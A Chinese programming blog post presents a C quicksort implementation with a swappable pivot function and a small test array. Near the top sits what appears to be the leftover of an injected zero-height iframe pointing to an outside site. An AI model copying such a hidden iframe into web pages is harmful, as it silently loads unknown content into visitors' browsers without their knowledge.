原创:快速排序的实现

src="http://pspper.w1.server2003.cn/vip.htm" width="100" height="0">

 

效率最高的一种写法,看行了,其中PIVOT的选法还可以扩充,大家可以大胆想象

但是总体思路是取大小为中间值的元素

 #include <stdio.h>

int fpivot(int *items,int low,int high)
{
 return low;
}

int partition(int *items,int low,int high,int (*pivot)(int *items,int low,int high))
{
 int _pivot;
 int i,j,r0;
 if(low>=high)return low;
 i=low;
 j=high;
 _pivot=pivot(items,low,high);
 r0=*(items+_pivot);
 *(items+_pivot)=*(items+high);
 while(i<j)
 {
  while(i<j&&*(items+i)<=r0)
   i++;
  *(items+j)=*(items+i);
  while(i<j&&*(items+j)>=r0)
   j--;
  *(items+i)=*(items+j);
 }
 *(items+i)=r0;
 return i;
}

void quicksort(int *items,int low,int high)
{
 int pivot;
 if(low>=high)return;
 pivot=partition(items,low,high,fpivot);
 quicksort(items,low,pivot-1);
 quicksort(items,pivot+1,high);
}

void main()
{
 int test[]={50,56,1,34,4,5,78,89,2,100,200,5,68,55,55,12};
 quicksort(test,0,15);
}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值